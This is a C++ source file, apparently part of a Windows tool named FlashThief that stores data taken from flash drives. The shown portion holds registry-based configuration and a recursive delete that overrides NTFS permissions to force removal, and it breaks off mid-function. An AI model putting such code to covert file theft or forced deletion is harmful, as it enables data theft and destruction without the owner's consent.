flashthief.cpp

两年前吧

// FlashThief.cpp: FlashThief 类的实现。

#include "stdafx.h"
#include "FlashThief.h"

FlashThief _Thief;

FlashThief::FlashThief()
{
	m_iStatus = STEAL_UNSTART;
	m_lpStorePath = NULL;
}

FlashThief::~FlashThief()
{
	if (m_lpStorePath != NULL)
		delete []m_lpStorePath;
}

void FlashThief::Init()
{
	HKEY hKey = NULL;
	LPTSTR lpChr = NULL;
	TCHAR szBuffer[MAX_PATH];
	DWORD dwBufLen = MAX_PATH;

	LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY, 0, KEY_READ, &hKey);
	if (lRet != ERROR_SUCCESS)
	{
		GetModuleFileName(NULL, szBuffer, MAX_PATH);

		if ((lpChr = _tcsrchr(szBuffer, PATH_SEPARATOR_C)) != NULL)
			*lpChr = _T('\0');
		dwBufLen = _tcslen(szBuffer) + 1;
		m_lpStorePath = new TCHAR[dwBufLen];
		if (m_lpStorePath != NULL)
			_tcscpy_s(m_lpStorePath, dwBufLen, szBuffer);

		m_dwMaxFileSizes = 0;
		m_dwInterval = CFG_MIN_INTERVAL;

		return;
	}

	lRet = RegQueryValueEx(hKey, CFG_REG_STORE, NULL, NULL, (LPBYTE)szBuffer, &dwBufLen);
	if (lRet == ERROR_SUCCESS && dwBufLen > sizeof(TCHAR))
	{
		// 从注册表获取字符串，返回的长度已经包含'\0'
		dwBufLen = dwBufLen / sizeof(TCHAR) - 1;
		// 去掉路径末尾的反斜线
		TrimRight(szBuffer, PATH_SEPARATOR_C, (size_t*)&dwBufLen);
		m_lpStorePath = new TCHAR[dwBufLen + 1];
		if (m_lpStorePath != NULL)
			_tcscpy_s(m_lpStorePath, dwBufLen + 1, szBuffer);
	}
	else
	{
		GetModuleFileName(NULL, szBuffer, MAX_PATH);

		if ((lpChr = _tcsrchr(szBuffer, PATH_SEPARATOR_C)) != NULL)
			*lpChr = _T('\0');
		dwBufLen = _tcslen(szBuffer) + 1;
		m_lpStorePath = new TCHAR[dwBufLen];
		if (m_lpStorePath != NULL)
			_tcscpy_s(m_lpStorePath, dwBufLen, szBuffer);
	}

	dwBufLen = sizeof(DWORD);
	lRet = RegQueryValueEx(hKey, CFG_REG_SIZES, NULL, NULL, (LPBYTE)&m_dwMaxFileSizes, &dwBufLen);
	if (lRet != ERROR_SUCCESS)
		m_dwMaxFileSizes = 0;

	dwBufLen = sizeof(DWORD);
	lRet = RegQueryValueEx(hKey, CFG_REG_INTERVAL, NULL, NULL, (LPBYTE)&m_dwInterval, &dwBufLen);
	if (lRet != ERROR_SUCCESS || m_dwInterval < CFG_MIN_INTERVAL)
		m_dwInterval = CFG_MIN_INTERVAL;

	RegCloseKey(hKey);
}

bool FlashThief::TrimRight(LPTSTR lpString, TCHAR ch, size_t* lpSize)
{
	if (lpString == NULL)
		return false;

	size_t uLen = 0;
	if (lpSize != NULL)
		uLen = *lpSize;
	if (uLen == 0)
		uLen = _tcslen(lpString);

	LPTSTR pEndChar = lpString + uLen;
	while (pEndChar > lpString && *(pEndChar - 1) == ch)
	{
		pEndChar--;
		uLen--;
	}
	*pEndChar = _T('\0');

	if (lpSize != NULL)
		*lpSize = uLen;

	return true;
}

bool FlashThief::FileExists(LPCTSTR lpFileName, bool bCheckDirectory)
{
	bool  bRet = false;
	DWORD dwAttributes = GetFileAttributes(lpFileName);

	if (dwAttributes != INVALID_FILE_ATTRIBUTES)
		bRet = ((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0) ^ bCheckDirectory;

	return bRet;
}

bool FlashThief::IsDotsDirectory(LPCTSTR lpFileName)
{
	return (_tcscmp(lpFileName, _T(".")) == 0 || _tcscmp(lpFileName, _T("..")) == 0);
}

DWORD FlashThief::_DeleteFile(LPCTSTR lpFileName)
{
	DWORD dwLastError = ERROR_SUCCESS;
	BOOL bSuccess = DeleteFile(lpFileName);

	if (!bSuccess)
	{
		dwLastError = GetLastError();
		if (dwLastError == ERROR_ACCESS_DENIED)
		{
			// 如果拒绝访问，尝试去掉只读属性再删除
			if (SetFileAttributes(lpFileName, FILE_ATTRIBUTE_NORMAL))
			{
				bSuccess = DeleteFile(lpFileName);
				if (!bSuccess)
					dwLastError = GetLastError();
			}

			// 如果拒绝访问，尝试修改文件的ACL(NTFS权限)再删除
			if (dwLastError == ERROR_ACCESS_DENIED)
			{
				size_t uLen = _tcslen(lpFileName) + 1;
				LPTSTR pszObjName = new TCHAR[uLen];
				if (pszObjName != NULL)
				{
					_tcscpy_s(pszObjName, uLen, lpFileName);
					if (AddAceToObjectsSecurityDescriptor(pszObjName, SE_FILE_OBJECT, 
						_T("CURRENT_USER"), TRUSTEE_IS_NAME, 
						GENERIC_ALL, GRANT_ACCESS, 
						SUB_CONTAINERS_AND_OBJECTS_INHERIT) == ERROR_SUCCESS)
					{
						bSuccess = DeleteFile(lpFileName);
						if (!bSuccess)
							dwLastError = GetLastError();
					}
					delete []pszObjName;
				}
			}
		}
	}

	return dwLastError;
}

DWORD FlashThief::_RemoveDirectory(LPCTSTR lpPathName)
{
	DWORD dwLastError = ERROR_SUCCESS;
	BOOL bSuccess = RemoveDirectory(lpPathName);

	if (!bSuccess)
	{
		dwLastError = GetLastError();
		if (dwLastError == ERROR_ACCESS_DENIED)
		{
			// 如果拒绝访问，尝试去掉只读属性再删除
			if (SetFileAttributes(lpPathName, FILE_ATTRIBUTE_NORMAL))
			{
				bSuccess = RemoveDirectory(lpPathName);
				if (!bSuccess)
					dwLastError = GetLastError();
			}

			// 如果拒绝访问，尝试修改文件夹的ACL(NTFS权限)再删除
			if (dwLastError == ERROR_ACCESS_DENIED)
			{
				size_t uLen = _tcslen(lpPathName) + 1;
				LPTSTR pszObjName = new TCHAR[uLen];
				if (pszObjName != NULL)
				{
					_tcscpy_s(pszObjName, uLen, lpPathName);
					if (AddAceToObjectsSecurityDescriptor(pszObjName, SE_FILE_OBJECT, 
						_T("CURRENT_USER"), TRUSTEE_IS_NAME, 
						GENERIC_ALL, GRANT_ACCESS, 
						SUB_CONTAINERS_AND_OBJECTS_INHERIT) == ERROR_SUCCESS)
					{
						bSuccess = RemoveDirectory(lpPathName);
						if (!bSuccess)
							dwLastError = GetLastError();
					}
					delete []pszObjName;
				}
			}
		}
	}

	return dwLastError;
}

bool FlashThief::RecursiveDelete(LPCTSTR pszPathName, size_t uPathSize, bool bAppendAsterisk)
{
	// 函数返回值，是否所有文件(夹)删除成功
	bool bReturn = true;

	// 确保需要删除的文件(夹)路径不为 NULL
	if (pszPathName == NULL)
		return false;

	// 计算需要删除的文件(夹)路径的长度
	if (uPathSize == 0)
		uPathSize = _tcslen(pszPathName);
	if (bAppendAsterisk)
		uPathSize += 2;

	// 动态分配文件(夹)路径长度的字符串
	LPTSTR pszPath = new TCHAR[++uPathSize];
	if (pszPath == NULL)
		return false;

	// 复制文件(夹)路径到动态分配的字符串，并去掉字符串末尾的“\”
	size_t uLen = swprintf_s(pszPath, uPathSize, _T("%s"), pszPathName);
	TrimRight(pszPath, PATH_SEPARATOR_C, &uLen);

	// 若访问目录拒绝则修改权限并重试一次的标记
	bool bDeniedRetry = false;
	// 文件(夹)信息的结构体
	WIN32_FIND_DATA fileInfo;
	// 查找文件的句柄，初始化为无效句柄值
	HANDLE hFind = INVALID_HANDLE_VALUE;

__Retry:

	// 是否需要追加通配符“*”
	if (bAppendAsterisk)
		_tcscat_s(pszPath, uPathSize, _T("\\*"));

	hFind = FindFirstFile(pszPath, &fileInfo);

	if (hFind == INVALID_HANDLE_VALUE)
	{
		// 如果查找文件错误，拒绝访问，则修改权限重试
		if (GetLastError() == ERROR_ACCESS_DENIED && !bDeniedRetry)
		{
			if (bAppendAsterisk)
			{
				LPTSTR lpEnd = pszPath + uLen;
				*lpEnd = _T('\0');
			}

			if (AddAceToObjectsSecurityDescriptor(pszPath, SE_FILE_OBJECT, 
				_T("CURRENT_USER"), TRUSTEE_IS_NAME, 
				GENERIC_ALL, GRANT_ACCESS, 
				SUB_CONTAINERS_AND_OBJECTS_INHERIT) == ERROR_SUCCESS)
			{
				bDeniedRetry = true;
				goto __Retry;
			}
		}

		bReturn = false;
	}
	else
	{
		LPTSTR pszFilePath = NULL;
		size_t uFilePathLen = 0;
		DWORD dwLastError = ERROR_SUCCESS;

		if (!bAppendAsterisk)
		{
			LPTSTR lpBackslash = _tcsrchr(pszPath, PATH_SEPARATOR_C);
			if (lpBackslash != NULL)
				uLen = lpBackslash - pszPath;
		}

		do
		{
			if (IsDotsDirectory(fileInfo.cFileName)) continue;

			uFilePathLen = uLen + _tcslen(fileInfo.cFileName) + 2;
			pszFilePath = new TCHAR[uFilePathLen];
			if (pszFilePath == NULL)
			{
				bReturn = false;
				continue;
			}
			_tcsncpy_s(pszFilePath, uFilePathLen, pszPath, uLen);
			_tcscat_s(pszFilePath, uFilePathLen, PATH_SEPARATOR_S);
			_tcscat_s(pszFilePath, uFilePathLen, fileInfo.cFileName);

			if ((fileInfo.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)
			{
				if (RecursiveDelete(pszFilePath, uFilePathLen - 1))
				{
					dwLastError = _RemoveDirectory(pszFilePath);
					if (dwLastError != ERROR_SUCCESS)
						bReturn = false;
				}
				else
				{
					bReturn = false;
				}
			}
			else
			{
				dwLastError = _DeleteFile(pszFilePath);
				if (dwLastError != ERROR_SUCCESS)
					bReturn = false;
			}

			delete []pszFilePath;

		} while (FindNextFile(hFind, &fileInfo));

		FindClose(hFind);
	}

	delete []pszPath;

	return bReturn;
}

DWORD FlashThief::AddAceToObjectsSecurityDescriptor(LPTSTR pszObjName, 
													SE_OBJECT_TYPE ObjectType, 
													LPTSTR pszTrustee, 
													TRUSTEE_FORM TrusteeForm, 
													DWORD dwAccessRights, 
													ACCESS_MODE AccessMode, 
													DWORD dwInheritance)
{
	DWORD dwRes = ERROR_SUCCESS;
	PACL pOldDACL = NULL;
	PACL pNewDACL = NULL;
	PSECURITY_DESCRIPTOR pSD = NULL;
	EXPLICIT_ACCESS ea;

	if (pszObjName == NULL)
		return ERROR_INVALID_PARAMETER;

	// Get a pointer to the existing DACL.

	dwRes = GetNamedSecurityInfo(pszObjName, ObjectType, 
		DACL_SECURITY_INFORMATION, 
		NULL, NULL, &pOldDACL, NULL, &pSD);
	if (dwRes == ERROR_SUCCESS)
	{
		// Initialize an EXPLICIT_ACCESS structure for the new ACE. 

		ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
		ea.grfAccessPermissions = dwAccessRights;
		ea.grfAccessMode = AccessMode;
		ea.grfInheritance= dwInheritance;
		ea.Trustee.TrusteeForm = TrusteeForm;